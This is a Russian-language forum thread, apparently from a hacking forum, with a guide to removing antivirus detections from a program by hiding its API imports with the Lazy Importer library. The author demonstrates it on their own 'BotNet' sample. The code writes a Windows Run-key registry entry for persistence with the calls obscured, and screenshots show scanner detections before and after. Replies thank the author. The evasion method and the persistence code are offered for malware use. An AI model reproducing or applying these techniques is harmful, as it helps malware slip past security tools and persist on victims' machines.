Загрузка...

[TrashCode #4] Guide on how to remove detections from a file without a C++ crypter.

Thread in C/C++ created by ПереигралВсех Dec 6, 2021. (bumped Dec 6, 2021) 871 view

  1. ПереигралВсех
    ПереигралВсех Topic starter Dec 6, 2021 Banned 1097 Feb 9, 2020
    Всем привет! это краткий гайд о том, как убрать детекты с файла.
    Сразу скажу, для данных манипуляций вам нужен исходный код программы.
    Способ очень простой, и я думаю с ним справиться каждый!

    Для примера, я взял "BotNet" с одной из моих прошлых статей. Статья

    Скрин детектов до:
    [IMG]
    Скрин детектов после, будет в самом конце.

    1. Что нам понадобится, это библиотека Lazy Importer. GutHub.
    Подключаем данную библиотеку к проекту, тут я думаю вы справитесь сами, тк данный гайд не об этом.

    2. Вам надо понять какую именно функцию детектит ваш антивирус, если вы не знаете, или не можете проверить, то скрывайте импорты всех функций.
    В моём случае детектит запись в реестр, вот на примере её и будем работать!
    [IMG]
    Вот что есть у нас на данный момент.

    3. Пишем код.
    Попытаюсь максимально откомментировать код, но если будут вопросы, пишите в лс, помогу!

    Code
    auto winreg = LI_FN(LoadLibraryA)("Advapi32.dll");
    auto kernel = LI_FN(LoadLibraryA)("Kernel32.dll");
    //Тут мы подключили dll из которых будем доставать функцию

    if (LI_FN(RegCreateKeyExA).in(winreg)(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKey, NULL) == ERROR_SUCCESS)
    {
    if (LI_FN(RegSetValueExA).in(winreg)(hKey, "istream", NULL, REG_SZ, (LPBYTE)arr, sizeof(arr)) == ERROR_SUCCESS)
    {
    LI_FN(RegCloseKey).in(winreg)(hKey);
    }
    return;
    }

    //Что у нас получилось в итоге

    4. О коде.
    Code
    auto winreg = LI_FN(LoadLibraryA)("Advapi32.dll");

    Тут, например вместо Advapi32.dll надо писать название своей dll к которой привязана функция, где её брать?
    В поисковик пишем название функции, например: RegCreateKeyEx, и переходим на офф сайт майкрософт, и листаем страницу вниз.
    Вот название DLL.
    [IMG]

    Code
    LI_FN(RegSetValueExA).in(winreg)(hKey, "istream", NULL, REG_SZ, (LPBYTE)arr, sizeof(arr)

    FI_FN - вызываем Lazy Importer
    (RegSetValueExA) - Название функции
    .in(winreg) - откуда мы импортируем эту функцию (auto winreg = LI_FN(LoadLibraryA)("Advapi32.dll");)

    Покажу ещё тоже самое раз но например на MessageBox.

    Code
        auto user32 = LI_FN(LoadLibraryA)("User32.dll"); //Загружаем DLL    [/B][/B]
    [B][B]LI_FN(MessageBoxA).in(user32)(0, "ItWork!", "ItWork!", MB_OK); //Вызываем функцию

    [IMG]


    5. После того как мы скрыли импорты, заливаем файл на сканер.
    [IMG]
    Готово!

    На этом, всё.
    К слову скажу, что-бы не было негатива, это не единственный способ, и не всегда самый действенный, но он работает!

    Не откажусь от звезды на GitHub в знак благодарности.
    Всем спасибо!
     
  2. brediska
    brediska Dec 6, 2021 Banned 2794 May 30, 2021
    Достаточно годно , многим будет действительно полезно! Спасибо, автор) :smile_victory:
     
    1. ПереигралВсех Topic starter
      brediska, Спасибо, самому было интересно писать:lefthand::righthand:
  3. sixti
    sixti Dec 6, 2021 1677 Apr 27, 2020
    очень интересно
     
Top
Loading...